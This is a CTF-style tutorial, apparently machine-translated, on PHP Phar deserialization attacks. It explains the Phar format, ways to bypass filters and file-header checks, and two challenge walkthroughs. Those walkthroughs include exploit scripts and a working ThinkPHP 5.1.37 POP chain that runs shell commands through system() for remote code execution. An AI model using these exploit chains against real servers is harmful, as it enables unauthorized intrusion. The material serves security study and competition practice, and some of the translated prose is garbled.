Phar
What is Phar
PHp ARchive, like a Java JAR, but for PHP.
Phar (PHp ARchive) is a packaged file similar to JAR. PHP ≥ 5.3 supports phar suffix files by default. You can use it without any other installation.
The phar extension provides a way to put an entire PHP application into a. Phar file for easy movement and installation The biggest feature of phar file is a convenient way to combine several files into one file. Phar file provides a method to distribute and run complete PHP programs in one file.
To put it bluntly, it is a compressed file, but it can not only put the compressed file in.
Before further exploration, you need to adjust the configuration, because PHP is read-only by default for the operations related to the Phar file (that is, simply using the Phar file does not require any adjustment of the configuration). However, because we need to create our own Phar file now, we need to allow writing Phar files, which needs to be modified php.ini
open php.ini, find phar.readonly Command line, modified to:
phar.readonly = 0
Just.
Phar file format
The Phar file consists of four parts:
1.stub
stub is the header of the phar file in the format xxxxxx <? php ...;__ HALT_ COMPILER();?>, xxxxxx can be any character, including blank, and there can be no more than one space character between the PHP closing character and the last semicolon. In addition, the PHP closure can also be omitted.
2.manifest describing the contents
This area stores the attribute information of phar package, allowing each file to specify file compression, file permissions, and even user-defined metadata, such as file users or groups.
The metadata is stored in the form of serialize, laying the groundwork for the deserialization vulnerability.
3.file contents
Compressed user added file content
4.signature
Optional. Signature of phar file. MD5, SHA1, SHA256, SHA512 and OPENSSL are allowed
This section ends with GBMB (47 42 4d 42).
Note that the stub does not have to be at the beginning of the file.
Utilization mode
It's a PHP serialization vulnerability Jim, but not as we know it
Taking advantage of the feature that phar file will store user-defined meta data in the form of serialization, the attack surface of php deserialization vulnerability is expanded. When the parameters of file system functions (file_exists(), is_dir(), etc.) are controllable, this method can directly deserialize without relying on unserialize() in combination with phar: / / pseudo protocol.
In other words, if we can control the parameters passed into the following functions, there may be potential exploitation of phar deserialization vulnerability:
There are other functions available. Please refer to this article: https://www.freebuf.com/articles/web/205943.html
have a try?
Let's generate a phar first:
<?php class TestObject { } @unlink("phar.phar"); $phar = new Phar("phar.phar"); //Suffix must be phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //Set stub $o = new TestObject(); $phar->setMetadata($o); //Save the customized meta data into the manifest $phar->addFromString("test.txt", "test"); //Add files to compress //Automatic signature calculation $phar->stopBuffering(); ?>
Note that $o deserialization here will only save data, not methods. After execution, let's observe the contents of the phar file:
The signature at the end of GBMB and the serialized metadata are clearly visible.
<?php class TestObject { public function __destruct() { echo 'Destruct called'; } } $filename = 'phar://phar.phar/test.txt';// Since it is a compressed file, we can access one of them in this way file_get_contents($filename); ?>
After the above program is executed, we will find that it outputs "destroy called". This is because the metadata is deserialized when phar is parsed, so the instance is called when it is parsed__ destruct function. This is the reason for the deserialization vulnerability.
PHP ≥ 5.3 supports phar files by default; In PHP8, the vulnerability is fixed: metadata will not be deserialized automatically. (source request)
What is phar: / /
As mentioned earlier, we often use phar: / / pseudo protocol to parse phar files. In CTF, because the pseudo protocol provides a series of file encapsulation protocols, when the source program has controllable file containing functions, we have the opportunity to use these protocols to control its return value or complete some unexpected operations (such as deserialization). As a kind of pseudo protocol, phar is essentially a special compressed file, so phar: / / and zip: / / actually have many similarities. They can access the sub files in the compressed package, and zip: / / requires the absolute path of the file, but phar: / / does not. (source request)
Little tricks
Bypass prefix filtering
Several example s of the team master can be used analogically. They all call phar when the prefix is not phar: / /://
compress.bzip2 and compress.zlib
<?php $z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt'; $z = 'compress.zlib://phar:///home/sx/test.phar/test.txt'; file_get_contents($z);
php://
<?php include('php://filter/read=convert.base64-encode/resource=phar://phar.phar'); file_get_contents('php://filter/read=convert.base64-encode/resource=phar://phar.phar');
Simple bypass
We can use the arbitrary prefix of stub part:
<?php $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //Set the stub and increase the gif file header
This bypasses some of the detection of file headers.
Bypass front and rear dirty data
Due to the existence of the signature part, php will verify the file hash value and check whether the end is GBMB. The following is the source code of the parsing part:
https://github.dev/php/php-src
It can be seen that if the end is not GBMB, it will directly lead to parsing failure.
Exploiting this vulnerability in CTF requires us to complete the write / upload phar and call the file inclusion function. We know a word, because there is <? php ?> Such head and tail identification exists, which can ignore the front and rear dirty data; However, for phar, such operations are blocked by the signature part. Is there a way around it? See: https://www.php.net/manual/zh/phar.converttoexecutable.php
Using the convertToExecutable function, we can convert the phar file into phar files in other formats, such as. tar and. zip formats.
We take N1CTF easyphp as an example. This problem allows us to write logs, and we can use phar deserialization to get flag s. The difficulty is that there is additional dirty data before and after the log file, which will make our phar file unable to be parsed.
However, if the phar is stored in tar format, the dirty data at the end will not affect the parsing (which is determined by the tar format), and the dirty data at the beginning can be constructed in advance when manufacturing the phar file (so that this part of the data will also be included in the signature calculation). When writing to the log, it is not necessary to write this part, but to splice it with the dirty data to form a legal phar. Expand as follows:
<?php CLASS FLAG { public function __destruct(){ echo "FLAG: " . $this->_flag; } } $sb = $_GET['sb']; $ts = $_GET['ts']; $phar = new Phar($sb.".phar"); //Suffix must be phar **$phar = $phar->convertToExecutable(Phar::TAR); //*. phar.tar is generated** $phar->startBuffering(); $phar->addFromString("Time: ".$ts." IP: [], REQUEST: [log_type=".$sb."], CONTENT: [", ""); //Add files to compress //The tar file starts with the file name of the first file to be added. Be careful not to add files in the wrong order $phar->setStub("<?php __HALT_COMPILER(); ?>"); //Set stub $o = new FLAG(); $o -> data = 'g0dsp3ed_1s_g0D'; $phar->setMetadata($o); //Save the customized meta data into the manifest //Automatic signature calculation $phar->stopBuffering(); ?>
Run this on the local web service, and then write a script (it was ugly in the middle of the night, leaving some garbage files for the master in the light spray team to write much cleaner):
import requests as rq import json import time import random ip = '<here_is_remote_ip>' def generate_random_str(randomlength=16): """ Generates a random string of a specified length """ random_str = '' base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789' length = len(base_str) - 1 for i in range(randomlength): random_str += base_str[random.randint(0, length)] return random_str def new_one(offset): rd = generate_random_str(4) ts2 = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()+offset)) ts = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time())) res = rq.get(url=f"http://127.0.0.1/test.php? Sb = {Rd} & TS = {TS2} ") # access locally generated phar with open(f'{rd}.phar.tar',"rb") as f: data = f.read() data = data[70::]#Remove the front redundant part to splice with the front of the log to form a legal *. phar.tar headers = {'content-type': 'application/x-www-form'} # Source text res = rq.post(url=f"http://43.155.59.185:53340/log.php?log_type={rd}",data=data) # write log res = rq.post(url=f"http://43.155.59.185:53340?file=phar://./log/{ip}/{rd}_www.log ") # deserialization print(res.text) for i in range(-30,30):#Considering the time difference between local and remote, a 30s window period is set here new_one(i) time.sleep(0.9) """The generated file is so long 00000000: 5469 6d65 3a20 3230 3231 2d31 312d 3232 Time: 2021-11-22 00000010: 2030 363a 3533 3a31 3520 4950 3a20 5b5d 06:53:15 IP: [] 00000020: 2c20 5245 5155 4553 543a 205b 5d2c 2043 , REQUEST: [], C 00000030: 4f4e 5445 4e54 3a20 5b5f 5f5f 5f5f 5f5f ONTENT: [_______ 00000040: 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f ________________ 00000050: 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f ________________ 00000060: 5f5f 5f5f 3030 3030 3634 3400 0000 0000 ____0000644..... 00000070: 0000 0000 0000 0000 0000 0000 3030 3030 ............0000 00000080: 3030 3030 3032 3400 3134 3134 3636 3337 0000024.14146637 00000090: 3133 3300 3030 3233 3534 3320 3000 0000 133.0023543 0... 000000a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ """
Not just tar, there are other formats:
https://www.php.net/manual/zh/phar.converttoexecutable.php
Corresponding code:
<?php $phar = $phar->convertToExecutable(Phar::TAR,Phar::BZ2);//xxxx.phar.tar.bz2 is generated $phar = $phar->convertToExecutable(Phar::TAR,Phar::GZ);//xxxx.phar.tar.gz is generated $phar = $phar->convertToExecutable(Phar::ZIP);//xxxx.phar.zip is generated
POP chain
POP(property oriented programming), to put it bluntly, is an attack method that achieves a specific purpose through a series of magic method / special method calls. In essence, it triggers other special methods in the process of calling these methods, causing a chain reaction until the target is touched. phar deserialization enables such attacks to succeed even when there is no unserlize function, which is the so-called "expanding the attack surface". We have just finished the Anxin cup 2021 EZ_TP is an example.
The website uses ThinkPHP V5.1.37, which is available on the Internet POP chain , now we need to complete the deserialization attack without the deserialize function.
<?php namespace app\index\controller; use think\Controller; class Index extends controller { public function index() { return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333; font-size:18px;} H1 {font size: 100px; font weight: normal; margin bottom: 12px;} P {line height: 1.6em; font size: 42px} < / style > < div style = "padding: 24px 48px;" > < H1 >:) < / H1 > < p > ThinkPHP V5.1 < br / > < span style = "font size: 30px" > 12 years without change (2006-2018) - your trusted PHP framework < / span > < / P > < / div > < script type = "text / JavaScript" SRC= " https://tajs.qq.com/stats?sId=64890268 " charset="UTF-8"></script><script type="text/javascript" src=" https://e.topthink.com/Public/static/client.js "></script><think id="eab4b9f840753f8e7"></think>'; } public function hello() { highlight_file(__FILE__); $hello = base64_encode('Welcome to D0g3'); if (isset($_GET['hello'])||isset($_POST['hello'])) exit; if(isset($_REQUEST['world'])) { parse_str($_REQUEST['world'],$haha); extract($haha); } if (!isset($a)) { $a = 'hello.txt'; } $s = base64_decode($hello); file_put_contents('hello.txt', $s); if(isset($a)) { echo (file_get_contents($a)); } } }
parse_str() and extract() enable us to write and read files arbitrarily through variable overwrite, and $a can use pseudo protocol. Then the next thing is right: write a phar in hello.txt, put the reverse sequencing of ThinkPHP 5.1.37 in the metadata, and use the chain to complete RCE. (for the principle of this POP chain, see https://www.hacking8.com/bug-web/Thinkphp/Thinkphp- Deserialization vulnerability / Thinkphp-5.1.37 - deserialization vulnerability.html (very detailed)
<?php namespace think{ abstract class Model{ protected $append = []; private $data = []; function __construct(){ $this->append = ["ethan"=>["godspeedyyds","xtxyyds"]]; $this->data = ["ethan"=>new Request()]; } } class Request{ protected $hook = []; protected $filter = "system"; protected $config = [ 'var_method' => '_method', 'var_ajax' => '_ajax', 'var_pjax' => '_pjax', 'var_pathinfo' => 's', 'pathinfo_fetch' => [ 'ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL' ], 'default_filter' => '', 'url_domain_root' => '', 'https_agent_name' => '', 'http_agent_ip' => 'HTTP_X_REAL_IP', 'url_html_suffix' => 'html', ]; protected $param = ['cat /y0u_f0und_It']; function __construct(){ $this->filter = "system"; $this->config = ["var_ajax"=>'']; $this->hook = ["visible"=>[$this,"isAjax"]]; } } } namespace think\process\pipes{ use think\model\concern\Conversion; use think\model\Pivot; class Windows{ private $files = []; public function __construct(){ $this->files = [new Pivot()]; } } } namespace think\model{ use think\Model; class Pivot extends Model{ } } namespace{ use think\process\pipes\Windows; $w = new Windows(); $p = new Phar('phar.phar'); $p->startBuffering(); $p->setStub('<?php __HALT_COMPILER();?>'); $p->setMetadata($w); $p->addFromString("test", "12345"); $p->stopBuffering(); }
Generate phar after execution, and then execute the script
import requests import urllib.parse import base64 import os with open('phar.phar','rb') as f: s = f.read() s = urllib.parse.quote(base64.b64encode(s).decode()) # print(s) remote = '<here_is_remote_ip>' sess =requests.session() r = sess.post( url = f'http://{remote}/index.php/index/index/hello', params={ 'ethan':'<here_is_your_shell_command>' }, data = { 'world':f'hello={s}&a=phar://./hello.txt' } ) print(r.text)
Successful RCE
summary
Phar deserialization provides a way and entry to extend the attack surface of deserialization vulnerability, so various attack tricks (such as reference bypass) based on the deserialize() function are still applicable. In view of the large number of design versions of phar deserialization vulnerability, it is believed that it will still play stably in the CTF competition.
reference material:
Thinkphp-5.1.37 - deserialization vulnerability
https://www.php.net/manual/zh/class.phar.php
Thinkphp 5.1.37 deserialization vulnerability
us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It
https://github.dev/php/php-src